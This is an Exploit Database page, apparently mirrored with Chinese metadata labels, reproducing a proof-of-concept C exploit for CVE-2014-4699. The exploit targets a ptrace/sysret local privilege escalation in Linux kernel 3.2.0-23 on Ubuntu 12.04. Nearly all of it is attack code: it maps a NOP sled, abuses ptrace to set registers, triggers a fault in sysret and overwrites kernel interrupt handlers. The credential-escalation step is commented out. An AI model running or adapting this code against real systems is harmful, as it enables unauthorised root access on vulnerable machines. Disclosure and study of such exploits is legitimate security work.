Linux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - 'ptrace/sysret' Local Privilege Escalation

• Exploit Database
• 14 阅读

• 作者： Vitaly Nikolenko
  日期： 2014-07-21
• 类别：

  • local
  平台：

  • linux_x86-64
• 来源：https://www.exploit-db.com/exploits/34134/

• /**
   * CVE-2014-4699 ptrace/sysret PoC
   * by Vitaly Nikolenko
   * vnik@hashcrack.org
   *
   * > gcc -O2 poc_v0.c
   *
   * This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the
   * following will trigger the #GP in sysret and overwrite the #PF handler so we
   * can land to our NOP sled mapped at 0x80000000.
   * However, once landed, the IDT will be trashed. We can either attempt to
   * restore it (then escalate privileges and execute our shellcode) or find
   * something else to overwrite that would transfer exec flow to our controlled
   * user-space address. Since 3.10.something, IDT is read-only anyway. If you
   * have any ideas, let me know.
   */
   
  #include <stdio.h>
  #include <stdint.h>
  #include <assert.h>
  #include <sys/ptrace.h>
  #include <sys/types.h>
  #include <sys/wait.h>
  #include <sys/syscall.h>
  #include <sys/user.h>
  #include <unistd.h>
  #include <sys/mman.h>
  #include <errno.h>
  
  #define SIZE0x10000000
  
  typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
  typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
  
  unsigned long __user_cs;
  unsigned long __user_ss;
  unsigned long __user_rflags;
  
  void __attribute__((regparm(3))) payload() {
  	uint32_t *fixptr = (void*)0xffffffff81dd70e8;
  	// restore the #PF handler
  	*fixptr = -1;
  	//commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;
  	//prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;
  	//commit_creds(prepare_kernel_cred((uint64_t)NULL));
  
  	//__asm__ volatile ("swapgs\n\t"
  	//		"...");
  }
  
  int main() {
  	struct user_regs_struct regs;
  	uint8_t *trampoline, *tmp;
  	int status;
  
  	struct {
  		uint16_t limit;
  		uint64_t addr;
  	} __attribute__((packed)) idt;
  
  // MAP_POPULATE so we don't trigger extra #PF
  	trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);
  	assert(trampoline == 0x80000000);
  	memset(trampoline, 0x90, SIZE); 
  tmp = trampoline;
  tmp += SIZE-1024;
  memcpy(tmp, &payload, 1024);
  	memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
  
  	pid_t chld;
  
  if ((chld = fork()) < 0) {
  		perror("fork");
  		exit(1);
  	}
  	
  	if (chld == 0) { 
  		if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
  			perror("PTRACE_TRACEME");
  			exit(1);
  		}
  		raise(SIGSTOP);
  		fork();
  		return 0;
  	}
  
  	asm volatile("sidt %0" : "=m" (idt));
  	printf("IDT addr = 0x%lx\n", idt.addr);
  
  	waitpid(chld, &status, 0);
  
  	ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK); 
  
  	ptrace(PTRACE_CONT, chld, 0, 0);
  
  	waitpid(chld, &status, 0); 
  
  ptrace(PTRACE_GETREGS, chld, NULL, &regs);
  	regs.rdi = 0x0000000000000000;
  	regs.rip = 0x8fffffffffffffff;
  	regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;
  
  	// attempt to restore the IDT
  	regs.rdi = 0x0000000000000000;
  	regs.rsi = 0x81658e000010cbd0;
  	regs.rdx = 0x00000000ffffffff;
  	regs.rcx = 0x81658e000010cba0;
  	regs.rax = 0x00000000ffffffff;
  	regs.r8= 0x81658e010010cb00;
  	regs.r9= 0x00000000ffffffff;
  	regs.r10 = 0x81668e0000106b10;
  	regs.r11 = 0x00000000ffffffff;
  	regs.rbx = 0x81668e0000106ac0;
  	regs.rbp = 0x00000000ffffffff;
  	regs.r12 = 0x81668e0000106ac0;
  	regs.r13 = 0x00000000ffffffff;
  	regs.r14 = 0x81668e0200106a90;
  	regs.r15 = 0x00000000ffffffff;
  
  ptrace(PTRACE_SETREGS, chld, NULL, &regs);
  
  	ptrace(PTRACE_CONT, chld, 0, 0);
  
  	ptrace(PTRACE_DETACH, chld, 0, 0);
  }